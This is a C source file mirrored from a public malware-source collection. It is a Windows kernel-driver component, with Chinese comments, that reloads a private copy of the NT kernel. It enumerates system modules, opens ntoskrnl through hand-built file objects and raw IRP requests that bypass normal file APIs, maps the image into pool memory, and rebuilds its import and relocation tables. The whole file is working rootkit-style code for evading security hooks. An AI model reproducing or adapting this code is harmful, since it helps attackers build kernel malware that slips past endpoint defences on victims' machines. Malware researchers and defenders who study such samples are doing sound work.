mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
900263ea6f
n/a
821 lines
24 KiB
C
821 lines
24 KiB
C
|
||
#include "KernelReload.h"
|
||
#include "FileSystem.h"
|
||
#include "FixRelocation.h"
|
||
|
||
|
||
/*ZwQuerySystemInformation大法 枚举模块信息 获得第一模块 Ntos..*/
|
||
BOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize)
|
||
{
|
||
NTSTATUS status;
|
||
ULONG ulSize,i;
|
||
PMODULES pModuleList;
|
||
char *lpszKernelName=NULL;
|
||
ANSI_STRING AnsiKernelModule;
|
||
UNICODE_STRING UnicodeKernelModule;
|
||
BOOLEAN bRet=TRUE;
|
||
|
||
__try
|
||
{
|
||
status=ZwQuerySystemInformation(
|
||
SystemModuleInformation,
|
||
NULL,
|
||
0,
|
||
&ulSize
|
||
);
|
||
if (status != STATUS_INFO_LENGTH_MISMATCH)
|
||
{
|
||
return FALSE;
|
||
}
|
||
pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,ulSize);
|
||
if (pModuleList)
|
||
{
|
||
status=ZwQuerySystemInformation(
|
||
SystemModuleInformation,
|
||
pModuleList,
|
||
ulSize,
|
||
&ulSize
|
||
);
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
bRet = FALSE;
|
||
}
|
||
}
|
||
if (!bRet)
|
||
{
|
||
if (pModuleList)
|
||
ExFreePool(pModuleList);
|
||
return FALSE;
|
||
}
|
||
*SystemKernelModulePath=ExAllocatePool(NonPagedPool,260*2);
|
||
if (*SystemKernelModulePath==NULL)
|
||
{
|
||
*SystemKernelModuleBase=0;
|
||
*SystemKernelModuleSize=0;
|
||
return FALSE;
|
||
}
|
||
|
||
lpszKernelName = pModuleList->smi[0].ModuleNameOffset+pModuleList->smi[0].ImageName; //第一模块名称
|
||
RtlInitAnsiString(&AnsiKernelModule,lpszKernelName);
|
||
RtlAnsiStringToUnicodeString(&UnicodeKernelModule,&AnsiKernelModule,TRUE);
|
||
|
||
RtlZeroMemory(*SystemKernelModulePath,260*2);
|
||
wcscat(*SystemKernelModulePath,L"\\SystemRoot\\system32\\");
|
||
|
||
memcpy(
|
||
*SystemKernelModulePath+wcslen(L"\\SystemRoot\\system32\\"), //第一模块路径
|
||
UnicodeKernelModule.Buffer,
|
||
UnicodeKernelModule.Length
|
||
);
|
||
|
||
*SystemKernelModuleBase=(DWORD)pModuleList->smi[0].Base; //获得第一模块地址
|
||
*SystemKernelModuleSize=(DWORD)pModuleList->smi[0].Size; //获得第一模块大小
|
||
ExFreePool(pModuleList);
|
||
RtlFreeUnicodeString(&UnicodeKernelModule);
|
||
|
||
}__except(EXCEPTION_EXECUTE_HANDLER){
|
||
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
/*获得文件对象中DeviceObject和RealDevice*/
|
||
BOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice)
|
||
{
|
||
//PDEVICE_OBJECT deviceObject;
|
||
// If the file object has a mounted Vpb, use its DeviceObject.
|
||
if(FileObject->Vpb != NULL && FileObject->Vpb->DeviceObject != NULL)
|
||
{
|
||
*DeviceObject = FileObject->Vpb->DeviceObject;
|
||
*RealDevice= FileObject->Vpb->RealDevice;
|
||
|
||
// Otherwise, if the real device has a VPB that indicates that it is mounted,
|
||
// then use the file system device object associated with the VPB.
|
||
}
|
||
else if
|
||
(
|
||
!(FileObject->Flags & FO_DIRECT_DEVICE_OPEN)
|
||
&&
|
||
FileObject->DeviceObject->Vpb != NULL
|
||
&&
|
||
FileObject->DeviceObject->Vpb->DeviceObject != NULL
|
||
)
|
||
{
|
||
*DeviceObject = FileObject->DeviceObject->Vpb->DeviceObject;
|
||
*RealDevice = FileObject->DeviceObject->Vpb->RealDevice;
|
||
// Otherwise, just return the real device object.
|
||
}
|
||
else
|
||
{
|
||
*DeviceObject = FileObject->DeviceObject;
|
||
*RealDevice=NULL;
|
||
}
|
||
if (*RealDevice==NULL||*DeviceObject==NULL)
|
||
{
|
||
return FALSE;
|
||
}
|
||
// Simply return the resultant file object.
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
|
||
//获得FileObject中的RealDevice和DeviceObject
|
||
BOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject)
|
||
{
|
||
WCHAR wRootName[32]={0};
|
||
UNICODE_STRING RootName;
|
||
OBJECT_ATTRIBUTES ObjectAttributes={0};
|
||
NTSTATUS status;
|
||
HANDLE hFile;
|
||
IO_STATUS_BLOCK IoStatus;
|
||
PFILE_OBJECT FileObject;
|
||
if (FileFullName[0]==0x005C)
|
||
{//in \Windows\system32\ntkrnlpa.exe
|
||
wcscpy(wRootName,L"\\SystemRoot");
|
||
}
|
||
else
|
||
{
|
||
wcscpy(wRootName,L"\\DosDevices\\*:\\");
|
||
wRootName[12]=FileFullName[0];
|
||
}
|
||
RtlInitUnicodeString(&RootName,wRootName);
|
||
|
||
InitializeObjectAttributes(&ObjectAttributes, &RootName,
|
||
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
//RootName.Buffer = "\SystemRoot"
|
||
status = IoCreateFile(
|
||
&hFile,
|
||
SYNCHRONIZE,
|
||
&ObjectAttributes,
|
||
&IoStatus,
|
||
0,
|
||
FILE_ATTRIBUTE_NORMAL,
|
||
FILE_SHARE_READ|FILE_SHARE_WRITE,
|
||
FILE_OPEN,
|
||
FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,
|
||
NULL,
|
||
0,
|
||
0,
|
||
NULL,
|
||
IO_NO_PARAMETER_CHECKING);
|
||
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
|
||
return FALSE;
|
||
}
|
||
status=ObReferenceObjectByHandle(hFile,1,*IoFileObjectType,KernelMode,&FileObject,NULL);
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
ZwClose(hFile);
|
||
return FALSE;
|
||
}
|
||
if(!IoGetFileSystemVpbInfo(FileObject,DeviceObject,RealDevice)) //获得FileObject中的deviceObject和RealDevice
|
||
{
|
||
ObfDereferenceObject(FileObject);
|
||
ZwClose(hFile);
|
||
return FALSE;
|
||
|
||
}
|
||
ObfDereferenceObject(FileObject);
|
||
ZwClose(hFile);
|
||
|
||
return TRUE;
|
||
|
||
}
|
||
|
||
/*获得系统目录*/
|
||
BOOLEAN GetWindowsRootName(WCHAR *WindowsRootName)
|
||
{
|
||
UNICODE_STRING RootName,ObjectName;
|
||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||
HANDLE hLink;
|
||
NTSTATUS status;
|
||
WCHAR *SystemRootName=(WCHAR*)0x7FFE0030;
|
||
WCHAR *ObjectNameBuffer=(WCHAR*)ExAllocatePool(NonPagedPool,260*2);
|
||
if (ObjectNameBuffer==NULL)
|
||
{
|
||
return FALSE;
|
||
}
|
||
RtlZeroMemory(ObjectNameBuffer,260*2);
|
||
RtlInitUnicodeString(&RootName,L"\\SystemRoot");
|
||
InitializeObjectAttributes(&ObjectAttributes,&RootName,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
status=ZwOpenSymbolicLinkObject(&hLink,1,&ObjectAttributes);
|
||
if (NT_SUCCESS(status))
|
||
{
|
||
ObjectName.Buffer=ObjectNameBuffer;
|
||
ObjectName.Length=0;
|
||
ObjectName.MaximumLength=260*2;
|
||
status=ZwQuerySymbolicLinkObject(hLink,&ObjectName,NULL);
|
||
//ObjectNameBuffer \Device\Harddisk0\Partition1\Windows
|
||
if (NT_SUCCESS(status))
|
||
{
|
||
int ObjectNameLength=ObjectName.Length/2;
|
||
int Index;
|
||
for (Index=ObjectNameLength-1;Index>0;Index--)
|
||
{
|
||
if (ObjectNameBuffer[Index]==0x005C)
|
||
{
|
||
if (!MmIsAddressValid(&WindowsRootName[ObjectNameLength-Index]))
|
||
{
|
||
break;
|
||
|
||
}
|
||
//\Windows WindowsRootName
|
||
RtlCopyMemory(WindowsRootName,&ObjectNameBuffer[Index],(ObjectNameLength-Index)*2);
|
||
ExFreePool(ObjectNameBuffer);
|
||
return TRUE;
|
||
}
|
||
|
||
}
|
||
}
|
||
|
||
}
|
||
ExFreePool(ObjectNameBuffer);
|
||
if (!MmIsAddressValid(SystemRootName))
|
||
{
|
||
return FALSE;
|
||
}
|
||
if (SystemRootName[1]!=0x003A||SystemRootName[2]!=0x005C)
|
||
{
|
||
return FALSE;
|
||
}
|
||
wcscpy(WindowsRootName,&SystemRootName[2]);
|
||
|
||
return TRUE;
|
||
|
||
|
||
}
|
||
|
||
|
||
/*
|
||
自己创建文件对象,挂入FileObject->IrpList 并返回文件句柄
|
||
*/
|
||
//\SystemRoot\system32\ntkrnlpa.exe
|
||
NTSTATUS KernelOpenFile(wchar_t *FileFullName,
|
||
PHANDLE FileHandle,
|
||
ACCESS_MASK DesiredAccess,
|
||
ULONG FileAttributes,
|
||
ULONG ShareAccess,
|
||
ULONG CreateDisposition,
|
||
ULONG CreateOptions)
|
||
{
|
||
WCHAR SystemRootName[32]=L"\\SystemRoot";
|
||
WCHAR *FileNodeName=NULL;
|
||
UNICODE_STRING FilePath;
|
||
PDEVICE_OBJECT RealDevice,DeviceObject;
|
||
NTSTATUS status=STATUS_UNSUCCESSFUL;
|
||
PFILE_OBJECT FileObject;
|
||
|
||
FileNodeName=ExAllocatePool(NonPagedPool,260*2);
|
||
if (FileNodeName==NULL)
|
||
{
|
||
return status;
|
||
}
|
||
RtlZeroMemory(FileNodeName,260*2);
|
||
|
||
if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName))==0) //忘记相等返回什么了 不过应该是不完整路径 这里面是修复
|
||
{
|
||
//in
|
||
int Len;
|
||
if(!GetWindowsRootName(FileNodeName)) // \Windows
|
||
{
|
||
ExFreePool(FileNodeName);
|
||
return status;
|
||
}
|
||
Len=wcslen(SystemRootName);
|
||
wcscat(FileNodeName,&FileFullName[Len]);
|
||
//FileNodeName == \Windows\system32\ntkrnlpa.exe
|
||
//FileFullName == \SystemRoot\system32\ntkrnlpa.exe
|
||
}
|
||
else
|
||
{
|
||
if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C)
|
||
{
|
||
return status;
|
||
|
||
}
|
||
wcscpy(FileNodeName,&FileFullName[2]);
|
||
}
|
||
|
||
if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) //获得FileObject中的DeviceObject和RealDevice
|
||
{
|
||
ExFreePool(FileNodeName);
|
||
return status;
|
||
}
|
||
//FileNodeName == \Windows\system32\ntkrnlpa.exe
|
||
RtlInitUnicodeString(&FilePath,FileNodeName);
|
||
|
||
status=IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject);
|
||
//创建文件对象 挂入FileObject->IrpList中
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
ExFreePool(FileNodeName);
|
||
return status;
|
||
}
|
||
|
||
//根据文件对象,获得文件句柄
|
||
status=ObOpenObjectByPointer(
|
||
FileObject,
|
||
OBJ_KERNEL_HANDLE, //verifier下测试要指定OBJ_KERNEL_HANDLE
|
||
0,
|
||
DesiredAccess|0x100000,
|
||
*IoFileObjectType,
|
||
0,
|
||
FileHandle);
|
||
|
||
ObfDereferenceObject(FileObject);
|
||
|
||
|
||
return status;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
//查询irp信息,返回filesize
|
||
NTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize)
|
||
{
|
||
NTSTATUS status;
|
||
PFILE_OBJECT FileObject;
|
||
PDEVICE_OBJECT DeviceObject,RealDevice;
|
||
FILE_STANDARD_INFORMATION FileInformation;
|
||
|
||
status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
return status;
|
||
}
|
||
if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))
|
||
{
|
||
ObDereferenceObject(FileObject);
|
||
return STATUS_UNSUCCESSFUL;
|
||
}
|
||
//查询irp堆栈信息,传入FileObject
|
||
status=IrpQueryInformationFile(FileObject,DeviceObject,&FileInformation,sizeof(FILE_STANDARD_INFORMATION),FileStandardInformation);
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
ObDereferenceObject(FileObject);
|
||
return status;
|
||
}
|
||
FileSize->HighPart=FileInformation.EndOfFile.HighPart;
|
||
FileSize->LowPart=FileInformation.EndOfFile.LowPart;
|
||
ObDereferenceObject(FileObject);
|
||
return status;
|
||
}
|
||
|
||
|
||
|
||
|
||
/*
|
||
传入文件句柄、文件大小读取文件到内存中
|
||
*/
|
||
NTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock)
|
||
{
|
||
NTSTATUS status;
|
||
PFILE_OBJECT FileObject;
|
||
PDEVICE_OBJECT DeviceObject,RealDevice;
|
||
FILE_STANDARD_INFORMATION FileInformation;
|
||
status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);
|
||
if (!NT_SUCCESS(status))
|
||
{
|
||
return status;
|
||
}
|
||
if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))
|
||
{
|
||
ObDereferenceObject(FileObject);
|
||
return STATUS_UNSUCCESSFUL;
|
||
}
|
||
status=IrpReadFile(FileObject,DeviceObject,IoStatusBlock,FileBuffer,Length,ByteOffset); //Irp请求,将文件读入缓冲区中
|
||
ObDereferenceObject(FileObject);
|
||
return status;
|
||
|
||
}
|
||
|
||
|
||
|
||
/*
|
||
修复FileBuffer中的偏移 按照VirtualAglin 对齐
|
||
filebuffer 为读取的内存 ,ImageModuleBase为系统中的模块地址
|
||
*/
|
||
BOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase)
|
||
{
|
||
PIMAGE_DOS_HEADER ImageDosHeader;
|
||
PIMAGE_NT_HEADERS ImageNtHeaders;
|
||
PIMAGE_SECTION_HEADER ImageSectionHeader;
|
||
DWORD FileAlignment,SectionAlignment,NumberOfSections,SizeOfImage,SizeOfHeaders;
|
||
DWORD Index;
|
||
BYTE *ImageBase;
|
||
DWORD SizeOfNtHeaders;
|
||
ImageDosHeader=(PIMAGE_DOS_HEADER)FileBuffer;
|
||
if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
|
||
{
|
||
return FALSE;
|
||
}
|
||
ImageNtHeaders=(PIMAGE_NT_HEADERS)(FileBuffer+ImageDosHeader->e_lfanew);
|
||
if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
|
||
{
|
||
return FALSE;
|
||
}
|
||
FileAlignment=ImageNtHeaders->OptionalHeader.FileAlignment;//0x200
|
||
SectionAlignment=ImageNtHeaders->OptionalHeader.SectionAlignment;//0x1000
|
||
NumberOfSections=ImageNtHeaders->FileHeader.NumberOfSections;//0x16
|
||
SizeOfImage=ImageNtHeaders->OptionalHeader.SizeOfImage;//0x412000
|
||
SizeOfHeaders=ImageNtHeaders->OptionalHeader.SizeOfHeaders;//0x800
|
||
|
||
SizeOfImage=AlignSize(SizeOfImage,SectionAlignment);//0x412000
|
||
|
||
ImageBase=ExAllocatePool(NonPagedPool,SizeOfImage);
|
||
if (ImageBase==NULL)
|
||
{
|
||
return FALSE;
|
||
}
|
||
RtlZeroMemory(ImageBase,SizeOfImage);
|
||
//0xf8
|
||
SizeOfNtHeaders=sizeof(ImageNtHeaders->FileHeader) + sizeof(ImageNtHeaders->Signature)+ImageNtHeaders->FileHeader.SizeOfOptionalHeader;
|
||
ImageSectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)ImageNtHeaders+SizeOfNtHeaders);
|
||
for (Index=0;Index<NumberOfSections;Index++)
|
||
{
|
||
ImageSectionHeader[Index].SizeOfRawData=AlignSize(ImageSectionHeader[Index].SizeOfRawData,FileAlignment);
|
||
ImageSectionHeader[Index].Misc.VirtualSize=AlignSize(ImageSectionHeader[Index].Misc.VirtualSize,SectionAlignment);
|
||
}
|
||
if (ImageSectionHeader[NumberOfSections-1].VirtualAddress+ImageSectionHeader[NumberOfSections-1].SizeOfRawData>SizeOfImage)
|
||
{//no in
|
||
ImageSectionHeader[NumberOfSections-1].SizeOfRawData = SizeOfImage-ImageSectionHeader[NumberOfSections-1].VirtualAddress;
|
||
}
|
||
RtlCopyMemory(ImageBase,FileBuffer,SizeOfHeaders);
|
||
|
||
for (Index=0;Index<NumberOfSections;Index++)
|
||
{
|
||
DWORD FileOffset=ImageSectionHeader[Index].PointerToRawData;
|
||
DWORD Length=ImageSectionHeader[Index].SizeOfRawData;
|
||
DWORD ImageOffset=ImageSectionHeader[Index].VirtualAddress;
|
||
RtlCopyMemory(&ImageBase[ImageOffset],&FileBuffer[FileOffset],Length);
|
||
}
|
||
*ImageModuleBase=ImageBase;
|
||
|
||
return TRUE;
|
||
|
||
|
||
}
|
||
|
||
ULONG AlignSize(ULONG nSize, ULONG nAlign)
|
||
{
|
||
return ((nSize + nAlign - 1) / nAlign * nAlign);
|
||
}
|
||
|
||
|
||
|
||
/*
|
||
通过DriverObject->DriverSection 遍历 内核模块
|
||
*/
|
||
PVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName)
|
||
{
|
||
PLDR_DATA_TABLE_ENTRY DriverSection,LdrEntry;
|
||
ANSI_STRING AnsiKernelModuleName;
|
||
UNICODE_STRING UniKernelModuleName;
|
||
UNICODE_STRING ModuleName;
|
||
WCHAR *Buffer;
|
||
int Lentgh,Index;
|
||
RtlInitAnsiString(&AnsiKernelModuleName,KernelModuleName);
|
||
RtlAnsiStringToUnicodeString(&UniKernelModuleName,&AnsiKernelModuleName,TRUE);
|
||
Buffer=ExAllocatePool(NonPagedPool,260*2);
|
||
if (Buffer==NULL)
|
||
{
|
||
return NULL;
|
||
}
|
||
RtlZeroMemory(Buffer,206*2);
|
||
DriverSection=DriverObject->DriverSection;
|
||
LdrEntry=(PLDR_DATA_TABLE_ENTRY)DriverSection->InLoadOrderLinks.Flink;
|
||
while (LdrEntry&&DriverSection!=LdrEntry)
|
||
{
|
||
//(DWORD)LdrEntry->DllBase>=*(DWORD*)MmSystemRangeStart&&
|
||
if (LdrEntry->FullDllName.Length>0&&
|
||
LdrEntry->FullDllName.Buffer!=NULL)
|
||
{
|
||
|
||
if (MmIsAddressValid(&LdrEntry->FullDllName.Buffer[LdrEntry->FullDllName.Length/2-1]))
|
||
{
|
||
Lentgh=LdrEntry->FullDllName.Length/2;
|
||
for (Index=Lentgh-1;Index>0;Index--)
|
||
{
|
||
if (LdrEntry->FullDllName.Buffer[Index]==0x005C)
|
||
{
|
||
break;
|
||
}
|
||
}
|
||
if (LdrEntry->FullDllName.Buffer[Index]==0x005C)
|
||
{
|
||
RtlCopyMemory(Buffer,&(LdrEntry->FullDllName.Buffer[Index+1]),(Lentgh-Index-1)*2);
|
||
ModuleName.Buffer=Buffer;
|
||
ModuleName.Length=(Lentgh-Index-1)*2;
|
||
ModuleName.MaximumLength=260*2;
|
||
}
|
||
else
|
||
{
|
||
RtlCopyMemory(Buffer,LdrEntry->FullDllName.Buffer,Lentgh*2);
|
||
ModuleName.Buffer=Buffer;
|
||
ModuleName.Length=Lentgh*2;
|
||
ModuleName.MaximumLength=260*2;
|
||
|
||
}
|
||
|
||
if (RtlEqualUnicodeString(&ModuleName,&UniKernelModuleName,TRUE))
|
||
{
|
||
ExFreePool(Buffer);
|
||
return LdrEntry->DllBase;
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink;
|
||
}
|
||
ExFreePool(Buffer);
|
||
return NULL;
|
||
}
|
||
|
||
|
||
/*
|
||
通过导出表获得函数地址
|
||
*/
|
||
PVOID
|
||
MiFindExportedRoutine (
|
||
IN PVOID DllBase,
|
||
BOOLEAN ByName,
|
||
IN char *RoutineName,
|
||
DWORD Ordinal
|
||
)
|
||
{
|
||
USHORT OrdinalNumber;
|
||
PULONG NameTableBase;
|
||
PUSHORT NameOrdinalTableBase;
|
||
PULONG AddressTableBase;
|
||
PULONG Addr;
|
||
LONG High;
|
||
LONG Low;
|
||
LONG Middle;
|
||
LONG Result;
|
||
ULONG ExportSize;
|
||
PVOID FunctionAddress;
|
||
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
|
||
|
||
PAGED_CODE();
|
||
|
||
//获得导出表
|
||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData (
|
||
DllBase,
|
||
TRUE,
|
||
IMAGE_DIRECTORY_ENTRY_EXPORT,
|
||
&ExportSize);
|
||
|
||
if (ExportDirectory == NULL) {
|
||
return NULL;
|
||
}
|
||
|
||
NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);
|
||
NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
|
||
AddressTableBase=(PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
|
||
|
||
if (!ByName)
|
||
{
|
||
return (PVOID)AddressTableBase[Ordinal];
|
||
}
|
||
|
||
|
||
Low = 0;
|
||
Middle = 0;
|
||
High = ExportDirectory->NumberOfNames - 1;
|
||
|
||
while (High >= Low) {
|
||
Middle = (Low + High) >> 1;
|
||
|
||
Result = strcmp (RoutineName,
|
||
(PCHAR)DllBase + NameTableBase[Middle]);
|
||
|
||
if (Result < 0) {
|
||
High = Middle - 1;
|
||
}
|
||
else if (Result > 0) {
|
||
Low = Middle + 1;
|
||
}
|
||
else {
|
||
break;
|
||
}
|
||
}
|
||
|
||
if (High < Low) {
|
||
return NULL;
|
||
}
|
||
|
||
OrdinalNumber = NameOrdinalTableBase[Middle];
|
||
if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) {
|
||
return NULL;
|
||
}
|
||
|
||
Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
|
||
|
||
FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);
|
||
|
||
//
|
||
// Forwarders are not used by the kernel and HAL to each other.
|
||
//
|
||
|
||
ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) ||
|
||
(FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize)));
|
||
|
||
return FunctionAddress;
|
||
}
|
||
|
||
|
||
|
||
|
||
BOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk)
|
||
{
|
||
DWORD Offset;
|
||
PIMAGE_THUNK_DATA OriginalFirstThunk;
|
||
Offset=(DWORD)FirstThunk-ImageBase;
|
||
OriginalFirstThunk=(PIMAGE_THUNK_DATA)(ExistImageBase+Offset);
|
||
while (OriginalFirstThunk->u1.Function)
|
||
{
|
||
FirstThunk->u1.Function=OriginalFirstThunk->u1.Function;
|
||
OriginalFirstThunk++;
|
||
FirstThunk++;
|
||
}
|
||
return TRUE;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
//修复导入表
|
||
BOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject)
|
||
{
|
||
PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor=NULL;
|
||
PIMAGE_THUNK_DATA ImageThunkData,FirstThunk;
|
||
PIMAGE_IMPORT_BY_NAME ImortByName;
|
||
DWORD ImportSize;
|
||
PVOID ModuleBase;
|
||
char ModuleName[260];
|
||
DWORD FunctionAddress;
|
||
//得到导入表地址
|
||
ImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize);
|
||
if (ImageImportDescriptor==NULL)
|
||
{
|
||
return FALSE;
|
||
}
|
||
while (ImageImportDescriptor->OriginalFirstThunk&&ImageImportDescriptor->Name)
|
||
{
|
||
strcpy(ModuleName,(char*)(ImageBase+ImageImportDescriptor->Name)); //导入信息名称
|
||
|
||
//ntoskrnl.exe(NTKRNLPA.exe、ntkrnlmp.exe、ntkrpamp.exe):
|
||
if (_stricmp(ModuleName,"ntkrnlpa.exe")==0||
|
||
_stricmp(ModuleName,"ntoskrnl.exe")==0||
|
||
_stricmp(ModuleName,"ntkrnlmp.exe")==0||
|
||
_stricmp(ModuleName,"ntkrpamp.exe")==0)
|
||
{//no in
|
||
ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlpa.exe"); //通过DriverObject->DriverSection 遍历内核模块
|
||
if (ModuleBase==NULL)
|
||
{
|
||
ModuleBase=GetKernelModuleBase(DriverObject,"ntoskrnl.exe");
|
||
if (ModuleBase==NULL)
|
||
{
|
||
ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlmp.exe");
|
||
if (ModuleBase==NULL)
|
||
{
|
||
ModuleBase=GetKernelModuleBase(DriverObject,"ntkrpamp.exe");
|
||
|
||
}
|
||
|
||
}
|
||
}
|
||
|
||
}
|
||
else
|
||
{
|
||
ModuleBase=GetKernelModuleBase(DriverObject,ModuleName);
|
||
|
||
}
|
||
if (ModuleBase==NULL)
|
||
{
|
||
FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);
|
||
InsertOriginalFirstThunk((DWORD)ImageBase,ExistImageBase,FirstThunk);
|
||
ImageImportDescriptor++;
|
||
continue;
|
||
}
|
||
//PSHED.dll
|
||
ImageThunkData=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->OriginalFirstThunk);
|
||
FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);
|
||
while(ImageThunkData->u1.Ordinal)
|
||
{
|
||
//序号导入
|
||
if(IMAGE_SNAP_BY_ORDINAL32(ImageThunkData->u1.Ordinal))
|
||
{
|
||
//通过系统内核的导出表 名称- 获得 函数地址
|
||
FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,FALSE,NULL,ImageThunkData->u1.Ordinal & ~IMAGE_ORDINAL_FLAG32);
|
||
if (FunctionAddress==0)
|
||
{
|
||
return FALSE;
|
||
}
|
||
FirstThunk->u1.Function=FunctionAddress;
|
||
}
|
||
//函数名导入
|
||
else
|
||
{
|
||
//
|
||
ImortByName=(PIMAGE_IMPORT_BY_NAME)(ImageBase+ImageThunkData->u1.AddressOfData);
|
||
FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,TRUE,ImortByName->Name,0);
|
||
if (FunctionAddress==0)
|
||
{
|
||
return FALSE;
|
||
}
|
||
FirstThunk->u1.Function=FunctionAddress;
|
||
}
|
||
FirstThunk++;
|
||
ImageThunkData++;
|
||
}
|
||
ImageImportDescriptor++;
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
/*
|
||
system32//NtosKrnl.exe ..
|
||
*/
|
||
BOOLEAN PeLoad(
|
||
WCHAR *FileFullPath,
|
||
BYTE **ImageModeleBase,
|
||
PDRIVER_OBJECT DeviceObject,
|
||
DWORD ExistImageBase
|
||
)
|
||
{
|
||
NTSTATUS Status;
|
||
HANDLE hFile;
|
||
LARGE_INTEGER FileSize;
|
||
DWORD Length;
|
||
BYTE *FileBuffer;
|
||
BYTE *ImageBase;
|
||
IO_STATUS_BLOCK IoStatus;
|
||
//\SystemRoot\system32\ntkrnlpa.exe
|
||
Status=KernelOpenFile(FileFullPath,&hFile,0x100020,0x80,1,1,0x20); //自己创建文件对象,挂入FileObject->IrpList 并返回文件句柄
|
||
if (!NT_SUCCESS(Status))
|
||
{
|
||
return FALSE;
|
||
}
|
||
|
||
Status=KernelGetFileSize(hFile,&FileSize); //读取irp信息,返回filesize
|
||
if (!NT_SUCCESS(Status))
|
||
{
|
||
ZwClose(hFile);
|
||
return FALSE;
|
||
}
|
||
Length=FileSize.LowPart;
|
||
FileBuffer=ExAllocatePool(PagedPool,Length);
|
||
if (FileBuffer==NULL)
|
||
{
|
||
ZwClose(hFile);
|
||
return FALSE;
|
||
}
|
||
|
||
Status=KernelReadFile(hFile,NULL,Length,FileBuffer,&IoStatus); //传入文件句柄、文件大小 通过irp请求,读取文件到内存中
|
||
if (!NT_SUCCESS(Status))
|
||
{
|
||
ZwClose(hFile);
|
||
ExFreePool(FileBuffer);
|
||
return FALSE;
|
||
}
|
||
ZwClose(hFile);
|
||
|
||
|
||
if(!ImageFile(FileBuffer,&ImageBase)) //修复FileBuffer中的偏移 按照VirtualAglin 对齐 得到全局ImageModuleBase
|
||
{
|
||
ExFreePool(FileBuffer);
|
||
return FALSE;
|
||
}
|
||
ExFreePool(FileBuffer);
|
||
|
||
//2k3下MiFindExportedRoutine调用失败
|
||
if(!FixImportTable(ImageBase,ExistImageBase,DeviceObject)) //修复导入表
|
||
{
|
||
ExFreePool(ImageBase);
|
||
return FALSE;
|
||
}
|
||
if(!FixBaseRelocTable(ImageBase,ExistImageBase)) //修复重定位表
|
||
{
|
||
ExFreePool(ImageBase);
|
||
return FALSE;
|
||
}
|
||
|
||
*ImageModeleBase=ImageBase; //得到最后的基地址 就是 和 原来内存中格式一样的 一块ntos
|
||
|
||
return TRUE;
|
